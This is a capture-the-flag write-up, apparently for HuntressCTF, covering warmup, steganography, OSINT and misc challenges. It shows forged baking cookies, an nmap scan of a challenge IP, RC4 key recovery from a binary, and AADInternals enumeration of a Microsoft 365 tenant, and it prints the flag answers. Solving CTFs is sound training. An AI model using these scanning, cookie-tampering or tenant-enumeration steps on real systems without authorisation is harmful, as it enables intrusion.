Challenges

Read The Rules

Warmups

Description

Please follow the rules for this CTF!

Connect here:
Read The Rules

Solution

Go to the rules page and view the page source. The flag is in an HTML comment.

<!-- Thank you for reading the rules! Your flag is: -->
<!--   flag{90bc54705794a62015369fd8e86e557b}       -->

Technical Support

Warmups

Description

Want to join the party of GIFs, memes and emoji shenanigans? Or just want to ask a question for technical support regarding any challenges in the CTF?

This CTF uses support tickets to help handle requests. If you need assistance, please create a ticket with the #ctf-open-ticket channel. You do not need to direct message any CTF organizers or facilitators, they will just tell you to open a ticket. You might find a flag in the ticket channel, though!

Connect here:
Join the Discord!

Solution

Join the Discord and check the #ctf-open-ticket channel. The flag is in the topic of the channel.


Notepad

Warmups

Description

Just a sanity check… you do know how to use a computer, right?

Solution

Just open the challenge file.

+------------------------------------------------------+
| [✖] [□] [▬]  Notepad                               - |
|------------------------------------------------------|
| File   Edit   Format   View   Help                   |
|------------------------------------------------------|
|                                                      |
|                                                      |
|   New Text Document - Notepad                        |
|                                                      |
|     flag{2dd41e3da37ef1238954d8e7f3217cd8}           |
|                                                      |
|                                                      |
|                                                      |
|                                                      |
|                                                      |
|                                                      |
|                                                      |
|                                                      |
|                                                      |
|                                                      |
+------------------------------------------------------+
| Ln 1, Col 40                                         |
+------------------------------------------------------+

String Cheese

Warmups

Description

Oh, a cheese stick! This was my favorite snack as a kid. My mom always called it by a different name though…

Solution

A simple challenge to make the player use tools. To get the flag, run strings cheese.jpg | grep -i flag.

flag{f4d9f0f70bf353f2ca23d81dcf7c9099}


Query code

Warmups

Description

What’s this?

Solution

First, we need to find out what the attached file is. To determine the file type, we execute the command file query_code, which identifies the file as a PNG image.

When opening the image, we see a QR code.

Using a tool such as zbarimg to scan the QR code, we get the flag.

flag{3434cf5dc6a865657ea1ec1cb675ce3b}


Book By Its Cover

Warmups

Description

They say you aren’t supposed to judge a book by its cover, but this is one of my favorites!

Solution

The RAR file attached appears to be corrupted. Let’s inspect it. The command file book.rar indicates that the file is not a RAR archive, but instead, it is a PNG image file.

Opening the image, we get the flag.


CaesarMirror

Warmups

Description

Caesar caesar, on the wall, who is the fairest of them all?

Perhaps a clever ROT13?

Solution

Opening the attached file, we see a bunch of encrypted text.

     Bu obl! Jbj, guvf jnezhc punyyratr fher   bf V !erugrtbg ghc bg ahs sb gby n fnj
    qrsvavgryl nofbyhgryl nyjnlf ybir gelvat   ftavug rivgnibaav qan jra ch xavug bg
       gb qb jvgu gur irel onfvp, pbzzba naq   sb genc gfevs ruG !frhdvauprg SGP pvffnyp
     lbhe synt vf synt{whyvhf_ naq gung vf n   tavuglerir gba fv gv gho gengf gnret
 gung lbh jvyy arrq gb fbyir guvf punyyratr.    qan rqvu bg tavleg rxvy g'abq V
  frcnengr rnpu cneg bs gur synt. Gur frpbaq   bq hbl gho _n_av fv tnys rug sb genc
   arrq whfg n yvggyr ovg zber. Jung rknpgyl   rxnz qan leg bg reru rqhypav rj qyhbuf
     guvf svyyre grkg ybbx zber ratntvat naq   ?fravyjra qqn rj qyhbuF ?ryvujugebj
    Fubhyq jr nqq fcnprf naq gel naq znxr vg   uthbar fv fravy lanz jbU ?ynpvegrzzlf
 gb znxr guvf svyyre grkg ybbx oryvrinoyr? N    n avugvj ferggry sb renhdf qvybf
 fvzcyr, zbabfcnpr-sbag grkg svyr ybbxf tbbq   rug gn gfbzyn rj reN .rz bg uthbar
   raq? Vg ybbxf yvxr vg! V ubcr vg vf tbbq.   }abvgprysre fv tnys ehbl sb genc qevug ruG
naq ng guvf cbvag lbh fubhyq unir rirelguvat   ebs tnys fvug gvzohf bg qrra hbl gnug
    cbvagf. Gur ortvaavat vf znexrq jvgu gur   ,rpneo lyehp tavarcb rug qan kvsrec tnys
  naq vg vapyhqrf Ratyvfu jbeqf frcnengrq ol   lyehp tavfbyp n av qar bg ,frebpferqah
  oenpr. Jbj! Abj GUNG vf n PGS! Jub xarj jr   fvug bg erucvp enfrnp rug xyvz qyhbp
            rkgrag?? Fbzrbar trg gung Whyvhf   !ynqrz n lht enfrnP

Using ROT13 to decipher the message, we get the following.

     Oh boy! Wow, this warmup challenge sure   os I !rehtegot tup ot nuf fo tol a saw
    definitely absolutely always love trying   sgniht evitavonni dna wen pu kniht ot
       to do with the very basic, common and   fo trap tsrif ehT !seuqinhcet FTC cissalc
     your flag is flag{julius_ and that is a   gnihtyreve ton si ti tub trats taerg
 that you will need to solve this challenge.    dna edih ot gniyrt ekil t'nod I
  separate each part of the flag. The second   od uoy tub _a_ni si galf eht fo trap
   need just a little bit more. What exactly   ekam dna yrt ot ereh edulcni ew dluohs
     this filler text look more engaging and   ?senilwen dda ew dluohS ?elihwhtrow
    Should we add spaces and try and make it   hguone si senil ynam woH ?lacirtemmys
 to make this filler text look believable? A    a nihtiw srettel fo erauqs dilos
 simple, monospace-font text file looks good   eht ta tsomla ew erA .em ot hguone
   end? It looks like it! I hope it is good.   }noitcelfer si galf ruoy fo trap driht ehT
and at this point you should have everything   rof galf siht timbus ot deen uoy taht
    points. The beginning is marked with the   ,ecarb ylruc gninepo eht dna xiferp galf
  and it includes English words separated by   ylruc gnisolc a ni dne ot ,serocsrednu
  brace. Wow! Now THAT is a CTF! Who knew we   siht ot rehpic raseac eht klim dluoc
            extent?? Someone get that Julius   !ladem a yug raseaC

As we can see, only the first half is correct. The second half seems to be reversed.

After reversing the second part of the message we get the following.

     Oh boy! Wow, this warmup challenge sure   was a lot of fun to put together! I so
    definitely absolutely always love trying   to think up new and innovative things
       to do with the very basic, common and   classic CTF techniques! The first part of
     your flag is flag{julius_ and that is a   great start but it is not everything
 that you will need to solve this challenge.   I don't like trying to hide and 
  separate each part of the flag. The second   part of the flag is in_a_ but you do
   need just a little bit more. What exactly   should we include here to try and make
     this filler text look more engaging and   worthwhile? Should we add newlines?
    Should we add spaces and try and make it   symmetrical? How many lines is enough
 to make this filler text look believable? A   solid square of letters within a 
 simple, monospace-font text file looks good   enough to me. Are we almost at the
   end? It looks like it! I hope it is good.   The third part of your flag is reflection}
and at this point you should have everything   that you need to submit this flag for
    points. The beginning is marked with the   flag prefix and the opening curly brace,
  and it includes English words separated by   underscores, to end in a closing curly
  brace. Wow! Now THAT is a CTF! Who knew we   could milk the caesar cipher to this
            extent?? Someone get that Julius   Caesar guy a medal!

From the text, we can recover the flag.

flag{julius_in_a_reflection}


Dialtone

Warmups

Description

Well would you listen to those notes, that must be some long phone number or something!

Solution

Attached to the challenge is an audio file containing dial tones. Using a tool like DTMF decoder we can decode the tones to their corresponding values. After decoding the tones, we get the value 13040004482820197714705083053746380382743933853520408575731743622366387462228661894777288573.

To convert this to the flag, first, we have to convert the value to hex. Using Python, we can do this by running the following code: hex(13040004482820197714705083053746380382743933853520408575731743622366387462228661894777288573)

Which will return the hex string 0x666c61677b36633733336566303962633466326134333133666636333038376532356436377d

And finally, we have to convert the hex values to ASCII characters, this can be done using the following Python code: bytes.fromhex(hex(13040004482820197714705083053746380382743933853520408575731743622366387462228661894777288573)[2:]).decode()

This will result in the flag being returned.

flag{6c733ef09bc4f2a4313ff63087e25d67}


Layered Security

Warmups

Description

It takes a team to do security right, so we have layered our defenses!

Solution

Let’s start by finding out what we are dealing with here. The command file layered_security indicates that the file attached is a GIMP image.

Opening the image in GIMP, we get an image of a person. Checking the layers pane, we can see that there are a lot of layers in the image.

Now we can hide each layer until we find the flag.

flag{9a64bc4a390cb0ce31452820ee562c3f}


Comprezz

Warmups

Description

Someone stole my S’s and replaced them with Z’s! Have you ever seen this kind of file before?

Solution

Let’s start by running file comprezz to find out what file type we are dealing with here. After running the command, we know the file is compress’d data.

To decompress the data, we can run the command compress -d -c comprezz and we get the flag.

flag{196a71490b7b55c42bf443274f9ff42b}


Chicken Wings

Warmups

Description

I ordered chicken wings at the local restaurant, but uh… this really isn’t what I was expecting…

Solution

Opening the attached file, we see some text in a *-dings font.

♐●♋♑❀♏📁🖮🖲📂♍♏⌛🖰♐🖮📂🖰📂🖰🖰♍📁🗏🖮🖰♌📂♍📁♋🗏♌♎♍🖲♏❝

Heading over to Dcode and using the cipher identifier will tell us that the cipher used is most likely Wingdings Font substitution cipher.

Using the decryption tool, we get the decrypted flag.

flag{e0791ce68f718188c0378b1c0a3bdc9e}


F12

Warmups

Description

Remember when Missouri got into hacking!?! You gotta be fast to catch this flag!

Solution

For this challenge, we get a web page that contains only a button.

Clicking the button will open a new window, which automatically closes before we can see the contents.

Viewing the page source, we can see that the button click is handled by some JavaScript code that will open an HTML page in a new window.

    <body>

        <!-- Page content-->
        <div class="container p-5">
            <div class="text-center mt-5 p-5">
                <button type="button" onclick="ctf()" class="btn btn-primary"><h1>Capture The Flag</button>
            </div>
        </div>
        <!-- Bootstrap core JS-->
        <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js"></script>
    </body>
    <script type="text/javascript">
        function ctf() {
            window.open("./capture_the_flag.html", 'Capture The Flag', 'width=400,height=100%,menu=no,toolbar=no,location=no,scrollbars=yes');
        }
    </script>

Viewing the source of the capture_the_flag.html page, we see the flag.

    <body>

        <!-- Page content-->
        <div class="container p-5">
            <div class="text-center mt-5 p-5">
                <button type="button" onclick="ctf()" class="btn btn-success"><h1>Your flag is:<br>
                  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                  <span style="display:none">
                  flag{03e8ba07d1584c17e69ac95c341a2569}
                </span></button>
            </div>
        </div>
        <!-- Bootstrap core JS-->
        <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js"></script>
    </body>
    <script type="text/javascript">
        window.close();
    </script>

flag{03e8ba07d1584c17e69ac95c341a2569}


BaseFFFF+1

Warmups

Description

Maybe you already know about base64, but what if we took it up a notch?

Solution

The attached file seems to contain some mixture of characters from different languages 鹎驣𔔠𓁯噫谠啥鹭鵧啴陨驶𒄠陬驹啤鹷鵴𓈠𒁯ꔠ𐙡啹院驳啳驨驲挮售𖠰筆筆鸠啳樶栵愵欠樵樳昫鸠啳樶栵嘶谠ꍥ啬𐙡𔕹𖥡唬驨驲鸠啳𒁹𓁵鬠陬潧㸍㸍ꍦ鱡汻欱靡驣洸鬰渰汢饣汣根騸饤杦样椶𠌸.

As the title hints, this has to be Base65536 encoded. Using a decoder like Base65536-Decode, we get the decoded flag.

flag{716abce880f09b7cdc7938eddf273648}


Baking

Warmups

Description

Do you know how to make cookies? How about HTTP flavored?

Solution

The challenge page is an EZ Bake Oven simulator.

Cooking one of the pastries will start the baking process.

Additionally, the baking process also creates a cookie.

eyJyZWNpcGUiOiAiRG91Z2hudXRzIiwgInRpbWUiOiAiMTAvMTgvMjAyMywgMTI6MjE6NDEifQ==

Decoding this from base64 returns the following JSON object.

{"recipe": "Doughnuts", "time": "10/18/2023, 12:21:41"}

Updating the time property with a date and time that has already passed, and then updating the cookie will trigger the completion of the baking process.

If we do the same with the Magic Cookies, we get the flag.


Land Before Time

Steganography

Description

This trick is nothing new, you know what to do: iSteg. Look for the tail that’s older than time, this Spike, you shouldn’t climb.

Solution

As the description reveals, the program used to hide data in the attached image is iSteg. After locating iSteg on Github, we open the challenge file in the program and extract the message.

flag{da1e2bf9951c9eb1c33b1d2008064fee}


Where am I?

OSINT

Description

Your friend thought using a JPG was a great way to remember how to login to their private server. Can you find the flag?

Solution

Let’s start by running exiftool.

ExifTool Version Number         : 12.40
File Name                       : PXL_20230922_231845140_2.jpg
Directory                       : .
File Size                       : 1603 KiB
File Modification Date/Time     : 2023:10:09 15:01:37+02:00
File Access Date/Time           : 2023:10:09 15:01:34+02:00
File Inode Change Date/Time     : 2023:10:09 15:01:48+02:00
File Permissions                : -rw-rw-r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
Exif Byte Order                 : Little-endian (Intel, II)
Image Description               : ZmxhZ3tiMTFhM2YwZWY0YmMxNzBiYTk0MDljMDc3MzU1YmJhMik=
Make                            : Google
Camera Model Name               : Pixel Fold
Orientation                     : Horizontal (normal)
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Software                        : HDR+ 1.0.540104767zd
Modify Date                     : 2023:09:22 19:18:45
Y Cb Cr Positioning             : Centered
Exposure Time                   : 1/2666
F Number                        : 1.7
Exposure Program                : Program AE
ISO                             : 46
Sensitivity Type                : ISO Speed
Exif Version                    : 0232
Date/Time Original              : 2023:09:22 19:18:45
Create Date                     : 2023:09:22 19:18:45
Offset Time                     : -04:00
Offset Time Original            : -04:00
Offset Time Digitized           : -04:00
Components Configuration        : Y, Cb, Cr, -
Shutter Speed Value             : 1/2048
Aperture Value                  : 1.4
Brightness Value                : 9.03
Exposure Compensation           : 0
Max Aperture Value              : 1.7
Subject Distance                : 3.772 m
Metering Mode                   : Center-weighted average
Flash                           : Off, Did not fire
Focal Length                    : 4.5 mm
Sub Sec Time                    : 140
Sub Sec Time Original           : 140
Sub Sec Time Digitized          : 140
Flashpix Version                : 0100
Color Space                     : sRGB
Exif Image Width                : 3000
Exif Image Height               : 4000
Interoperability Index          : R98 - DCF basic file (sRGB)
Interoperability Version        : 0100
Sensing Method                  : One-chip color area
Scene Type                      : Directly photographed
Custom Rendered                 : Custom
Exposure Mode                   : Auto
White Balance                   : Auto
Digital Zoom Ratio              : 2.5
Focal Length In 35mm Format     : 49 mm
Scene Capture Type              : Standard
Contrast                        : Normal
Saturation                      : Normal
Sharpness                       : Normal
Subject Distance Range          : Distant
Lens Make                       : Google
Lens Model                      : Pixel Fold back camera 4.53mm f/1.7
Composite Image                 : Composite Image Captured While Shooting
GPS Version ID                  : 2.3.0.0
GPS Latitude Ref                : North
GPS Longitude Ref               : West
GPS Altitude Ref                : Above Sea Level
GPS Time Stamp                  : 23:18:36
GPS Dilution Of Precision       : 43
GPS Img Direction Ref           : Magnetic North
GPS Img Direction               : 73
GPS Processing Method           : fused
GPS Date Stamp                  : 2023:09:22
Compression                     : JPEG (old-style)
Thumbnail Offset                : 1444
Thumbnail Length                : 11879
JFIF Version                    : 1.02
Profile CMM Type                :
Profile Version                 : 4.0.0
Profile Class                   : Display Device Profile
Color Space Data                : RGB
Profile Connection Space        : XYZ
Profile Date Time               : 2023:03:09 10:57:00
Profile File Signature          : acsp
Primary Platform                : Unknown ()
CMM Flags                       : Not Embedded, Independent
Device Manufacturer             : Google
Device Model                    :
Device Attributes               : Reflective, Glossy, Positive, Color
Rendering Intent                : Perceptual
Connection Space Illuminant     : 0.9642 1 0.82491
Profile Creator                 : Google
Profile ID                      : 61473528d5aaa311e143dfc93efaa268
Profile Description             : sRGB IEC61966-2.1
Profile Copyright               : Copyright (c) 2023 Google Inc.
Media White Point               : 0.9642 1 0.82491
Media Black Point               : 0 0 0
Red Matrix Column               : 0.43604 0.22249 0.01392
Green Matrix Column             : 0.38512 0.7169 0.09706
Blue Matrix Column              : 0.14305 0.06061 0.71391
Red Tone Reproduction Curve     : (Binary data 32 bytes, use -b option to extract)
Chromatic Adaptation            : 1.04788 0.02292 -0.05019 0.02959 0.99048 -0.01704 -0.00922 0.01508 0.75168
Blue Tone Reproduction Curve    : (Binary data 32 bytes, use -b option to extract)
Green Tone Reproduction Curve   : (Binary data 32 bytes, use -b option to extract)
XMP Toolkit                     : Adobe XMP Core 5.1.0-jc003
Has Extended XMP                : 5ED7F3B831F9D9D205DAFF353924EAB2
Image Width                     : 3000
Image Height                    : 4000
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
HDRP Maker Note                 : (Binary data 65253 bytes, use -b option to extract)
Shot log data                   : SERSUALvZDVtXnAeLOrjQ5je1sZODhZ+LZCJy0bmpxhlJl1dgln2oQ8+zQtW5M289pn7Uu6EzHIF3mSWvI1ullYx0EyWG/HzyuhNwYe2O7LftAGtWhHZGryv1jfVy3Y2WGg4THVjdGuQ2F1GZByfFBwX2u9kwRGSEYFwBOnErgNStpy6RCgUMRTUcpKR9wCFNTBvNeo3BuOjeJlu+512XMlgj7AhuDEe1x6nuvYUt9H0j401ex7ThIZOHkwzlVm0JMzwTGO4HQfiBD7PvAxxLOJJHN06CEzplgmvy+VB8c0kutBJfu3Pztbop5/9UF4DuRQsqvk/qGQ9oBMQ6Ah/qiXCEHtOnhgDlGGAuH9Ntkhg6Ua3i/hXXYfRqPa0/swPohf+q2bC31AqHo6SK2GnOyolqtYpPNuxAvSWKxMECdweQtF+3rEFypbjPbAxDod1YsozdaDWpCYnPP3OrnypPks9Qzd+Kl66mPK8abVLT4+Ck/jYjMIJEOoyKH9VoGYzFg9nRBEDXxLjiMOcgd3t3ccvfoIhwgXudi/QEIYTdQJu/o9p0kApDJBbhrY8pGlszvSM/ahNAk25x98SdHhWkM3TUWicjQSp7iDlP78HB1vBrEyShiPnimE6XYKBtD2nJBMZphI8f6It07/HSn4qugimpcZ5IlV1dhqfigQseGe49+9M8Cv2imI3sdfnFyRTfvocDwf0pBTWCiAClZjPyytERW7Sqf+GG7HicP56pT7KUzQdXrWTQaYUhcihuVlufxqQ7G9ZcQ63
Aperture                        : 1.7
Image Size                      : 3000x4000
Megapixels                      : 12.0
Scale Factor To 35 mm Equivalent: 10.8
Shutter Speed                   : 1/2666
Create Date                     : 2023:09:22 19:18:45.140-04:00
Date/Time Original              : 2023:09:22 19:18:45.140-04:00
Modify Date                     : 2023:09:22 19:18:45.140-04:00
Thumbnail Image                 : (Binary data 11879 bytes, use -b option to extract)
GPS Altitude                    : 254.4 m Above Sea Level
GPS Date/Time                   : 2023:09:22 23:18:36Z
GPS Latitude                    : 33 deg 46' 14.88" N
GPS Longitude                   : 84 deg 21' 51.22" W
Circle Of Confusion             : 0.003 mm
Depth Of Field                  : 26.33 m (2.02 - 28.35 m)
Field Of View                   : 40.3 deg
Focal Length                    : 4.5 mm (35 mm equivalent: 49.0 mm)
GPS Position                    : 33 deg 46' 14.88" N, 84 deg 21' 51.22" W
Hyperfocal Distance             : 4.35 m
Light Value                     : 14.0
Lens ID                         : Pixel Fold back camera 4.53mm f/1.7

There is a lot of data here. Checking out the Image Description property, we see some base64 encoded data.

Image Description               : ZmxhZ3tiMTFhM2YwZWY0YmMxNzBiYTk0MDljMDc3MzU1YmJhMik=

Base64 decoding the data, we get the flag.

flag{b11a3f0ef4bc170ba9409c077355bba2}


Operation Not Found

OSINT

Description

In the boundless web of data, some corners echo louder than others, whispering tales of innovation, deep knowledge, and fierce competition. On the lush landscapes of https://osint.golf/, a corner awaits your discovery… where intellect converges with spirit, and where digital foundations stand alongside storied arenas.

Solution

Here we get dropped in front of a building.

A Google reverse image search tells us the name of the building, and where to find it.

Now we can locate the building on Google Maps. Searching for Crosland Tower, will return a result in Atlanta, Georgia, USA, at the Georgia Institute of Technology.

After submitting, we get the flag.

flag{c46b7183c9810ec4ddb31b2fdc6a914c}


Under The Bridge

OSINT

Description

Can you find this iconic location?

Solution

Here we are dropped right next to a bridge.

A reverse image search leads us to an article that reveals that the location is the filming location of Rick Astley’s “Never Gonna Give You Up” music video.

The article also tells us the name of the road, which is Freston Road, London, UK. Now we can locate the location on Google Maps.

After submitting the location, we get the flag.

flag{fdc8cd4cff2c19e0d1022e78481ddf36}


I Wont Let You Down

Misc

Description

OK Go take a look at this IP:
Connect here: http://155.138.162.158

Solution

Checking out the web page linked in the description, we get a banner telling us that using nmap is ok, and a video if Rick Astleys “Never Gonna Give You Up”.

Followin the hint and running nmap -sC -sV 155.138.162.158 return some interesting results.

Starting Nmap 7.80 ( https://nmap.org ) at 2023-10-05 15:02 CEST
Nmap scan report for 155.138.162.158.vultrusercontent.com (155.138.162.158)
Host is up (0.19s latency).
Not shown: 993 closed ports
PORT     STATE    SERVICE         VERSION
22/tcp   open     ssh             OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
25/tcp   filtered smtp
80/tcp   open     http            Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Hello World!
135/tcp  filtered msrpc
139/tcp  filtered netbios-ssn
445/tcp  filtered microsoft-ds
8888/tcp open     sun-answerbook?
| fingerprint-strings:
|   GetRequest:
|     We're no strangers to love
|     know the rules and so do I (do I)
|     full commitment's what I'm thinking of
|     wouldn't get this from any other guy
|     just wanna tell you how I'm feeling
|     Gotta make you understand
|     Never gonna give you up
|     Never gonna let you down
|     Never gonna run around and desert you
|     Never gonna make you cry
|     Never gonna say goodbye
|     Never gonna tell a lie and hurt you
|     We've known each other for so long
|     Your heart's been aching, but you're too shy to say it (say it)
|     Inside, we both know what's been going on (going on)
|     know the game and we're gonna play it
|     feeling
|     Don't tell me you're too blind to see
|     Never gonna give you up
|     Never gonna let you down
|     Never gonna run around and desert you
|     Never gonna make you cry
|     Never gonna say goodbye
|     Never gonna tell a lie and hurt you
|     Never gonna give you up
|     Never gonna let you down
|     Never gonna run around and dese
|   NULL:
|     We're no strangers to love
|     know the rules and so do I (do I)
|     full commitment's what I'm thinking of
|     wouldn't get this from any other guy
|     just wanna tell you how I'm feeling
|     Gotta make you understand
|     Never gonna give you up
|     Never gonna let you down
|     Never gonna run around and desert you
|     Never gonna make you cry
|     Never gonna say goodbye
|     Never gonna tell a lie and hurt you
|     We've known each other for so long
|     Your heart's been aching, but you're too shy to say it (say it)
|     Inside, we both know what's been going on (going on)
|     know the game and we're gonna play it
|     feeling
|     Don't tell me you're too blind to see
|     Never gonna give you up
|_    Never gonna let you down
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 208.83 seconds

Port 8888 returns the lyrics for “Never Gonna Give You Up”, but the nmap result seems to be truncated. Connecting to the port using netcat, all the data is returned, including the flag.

We're no strangers to love
You know the rules and so do I (do I)
A full commitment's what I'm thinking of
You wouldn't get this from any other guy
I just wanna tell you how I'm feeling
Gotta make you understand
Never gonna give you up
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry
Never gonna say goodbye
Never gonna tell a lie and hurt you
We've known each other for so long
Your heart's been aching, but you're too shy to say it (say it)
Inside, we both know what's been going on (going on)
We know the game and we're gonna play it
And if you ask me how I'm feeling
Don't tell me you're too blind to see
Never gonna give you up
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry
Never gonna say goodbye
Never gonna tell a lie and hurt you
Never gonna give you up
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry
Never gonna say goodbye
Never gonna tell a lie and hurt you
We've known each other for so long
Your heart's been aching, but you're too shy to say it (to say it)
Inside, we both know what's been going on (going on)
We know the game and we're gonna play it
I just wanna tell you how I'm feeling
Gotta make you understand
Never gonna give you up
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry
Never gonna say goodbye
Never gonna tell a lie and hurt you
Never gonna give you up
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry
Never gonna say goodbye
Never gonna tell a lie and hurt you
Never gonna give you up
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry
Never gonna say goodbye
Never gonna tell a lie and hurt you
flag{93671c2c38ee872508770361ace37b02}

Rock, Paper, Psychic

Misc

Description

Wanna play a game of rock, paper, scissors against a computer that can read your mind? Sounds fun, right?

Solution

Opening the executable in IDA, we can find a function called printFlag__main_6.

void printFlag__main_6(undefined8 param_1,undefined8 param_2,undefined8 param_3,ulonglong param_4)
{
  undefined4 *puVar1;
  longlong lVar2;
  ulonglong *puVar3;
  ulonglong *puVar4;
  size_t *psVar5;
  longlong *plVar6;
  longlong *local_20;

  puVar3 = copyString((ulonglong *)&TM__V45tF8B8NBcxFcjfe7lhBw_38);
  puVar4 = copyString((ulonglong *)&TM__V45tF8B8NBcxFcjfe7lhBw_39);
  psVar5 = fromRC4__OOZOnimbleZpkgsZ8267524548O49O48Z826752_75
                     ((longlong *)puVar3,(longlong *)puVar4,param_3,param_4);
  local_20 = (longlong *)0x0;
  if (psVar5 == (size_t *)0x0) {
    plVar6 = (longlong *)rawNewString(4);
    puVar1 = (undefined4 *)((longlong)plVar6 + *plVar6 + 0x10);
    *puVar1 = 0x205d2b5b;
    *(undefined *)(puVar1 + 1) = 0;
    *plVar6 = *plVar6 + 4;
  }
  else {
    plVar6 = (longlong *)rawNewString(*psVar5 + 4);
    puVar1 = (undefined4 *)((longlong)plVar6 + *plVar6 + 0x10);
    *puVar1 = 0x205d2b5b;
    *(undefined *)(puVar1 + 1) = 0;
    lVar2 = *plVar6;
    *plVar6 = lVar2 + 4;
    memcpy((void *)((longlong)plVar6 + lVar2 + 0x14),psVar5 + 2,*psVar5 + 1);
    *plVar6 = *plVar6 + *psVar5;
  }
  local_20 = plVar6;
  echoBinSafe(&local_20,1);
  readLineFromStdin__impureZrdstdin_1((longlong *)&TM__V45tF8B8NBcxFcjfe7lhBw_41);
                    /* WARNING: Subroutine does not return */
  exit(0);
}

Here we see that the puVar3 and puVar4 variables are used to call an RC4 decryption routine. Extracting the values stored in the variables we get gnnhexnyjkwpaghynzfthadollhtrhballsdmhhnbjppewgjkhnlhspwjswqoxtgdykxrhwlabblekxj and D1E2A0D9FA89CABED207EDF4F55C688E04EBE20F077351BDAA1E110D5A74805C916AF12F054C.

RC4 decrypting D1E2A0D9FA89CABED207EDF4F55C688E04EBE20F077351BDAA1E110D5A74805C916AF12F054C with the key gnnhexnyjkwpaghynzfthadollhtrhballsdmhhnbjppewgjkhnlhspwjswqoxtgdykxrhwlabblekxj returns the flag.

flag{35bed450ed9ac9fcb3f5f8d547873be9}


M Three Sixty Five – General Info

Description

Welcome to our hackable M365 tenant! Can you find any juicy details, like perhaps the street address this organization is associated with?

Solution

For the M Three Sixty Five challenges, we should use AADInternals to get information from the tennant. To begin, we need the AADInternals Documentation.

To get the street address, Get-AADIntTennantDetails looks like the right command.

odata.type                                : Microsoft.DirectoryServices.TenantDetail
objectType                                : Company
objectId                                  : 05985beb-42bc-4c24-bf49-c1730a825406
deletionTimestamp                         :
assignedPlans                             : {@{assignedTimestamp=09/16/2023 06:40:21; capabilityStatus=Enabled; service=exchange; serviceP
                                            lanId=9f431833-0334-42de-a7dc-70aa40db46db}, @{assignedTimestamp=09/16/2023 06:40:21; capabili
                                            tyStatus=Enabled; service=exchange; servicePlanId=5136a095-5cf0-4aff-bec3-e84448b38ea5}, @{ass
                                            ignedTimestamp=09/16/2023 06:40:17; capabilityStatus=Enabled; service=M365LabelAnalytics; serv
                                            icePlanId=d9fa6af4-e046-4c89-9226-729a0786685d}, @{assignedTimestamp=09/16/2023 06:40:19; capa
                                            bilityStatus=Enabled; service=MicrosoftCommunicationsOnline; servicePlanId=0feaeb32-d00e-4d66-
                                            bd5a-43b5b83db82c}…}
authorizedServiceInstance                 : {exchange/namprd04-012-01, ccibotsprod/NA001, YammerEnterprise/NA030, WhiteboardServices/NA001
                                            …}
city                                      : Ellicott City
cloudRtcUserPolicies                      :
companyLastDirSyncTime                    :
companyTags                               : {o365.microsoft.com/startdate=638304432108764015, azure.microsoft.com/developer365=active, o36
                                            5.microsoft.com/version=15, o365.microsoft.com/signupexperience=GeminiSignUpUI}
compassEnabled                            :
country                                   :
countryLetterCode                         : US
dirSyncEnabled                            :
displayName                               : HuntressCTF
isMultipleDataLocationsForServicesEnabled :
marketingNotificationEmails               : {}
postalCode                                : 21043
preferredLanguage                         : en
privacyProfile                            :
provisionedPlans                          : {@{capabilityStatus=Enabled; provisioningStatus=Success; service=exchange}, @{capabilityStatus
                                            =Enabled; provisioningStatus=Success; service=exchange}, @{capabilityStatus=Enabled; provision
                                            ingStatus=Success; service=exchange}, @{capabilityStatus=Enabled; provisioningStatus=Success;
                                            service=exchange}…}
provisioningErrors                        : {}
releaseTrack                              :
replicationScope                          : NA
securityComplianceNotificationMails       : {}
securityComplianceNotificationPhones      : {}
selfServePasswordResetPolicy              :
state                                     : MD
street                                    : flag{dd7bf230fde8d4836917806aff6a6b27}
technicalNotificationMails                : {huntressctf@outlook.com}
telephoneNumber                           : 8005555555
tenantType                                :
createdDateTime                           : 09/16/2023 06:40:09
verifiedDomains                           : {@{capabilities=Email, OfficeCommunicationsOnline; default=True; id=000520000FC960F2; initial=
                                            True; name=4rhdc6.onmicrosoft.com; type=Managed}}
windowsCredentialsEncryptionCertificate   :

And on the Street property, we find the flag.

flag{dd7bf230fde8d4836917806aff6a6b27}

M Three Sixty Five – Conditional Access

Misc

Description

This tenant looks to have some odd Conditional Access Policies. Can you find a weird one?

Solution

To list the Conditional Access Policies, Get-AADIntConditionalAccessPolicies looks like the right command.

odata.type          : Microsoft.DirectoryServices.Policy
objectType          : Policy
objectId            : 16a4aa28-93af-4238-b877-dc869968b5be
deletionTimestamp   :
displayName         : flag{d02fd5f79caa273ea535a526562fd5f7}
keyCredentials      : {}
policyType          : 18
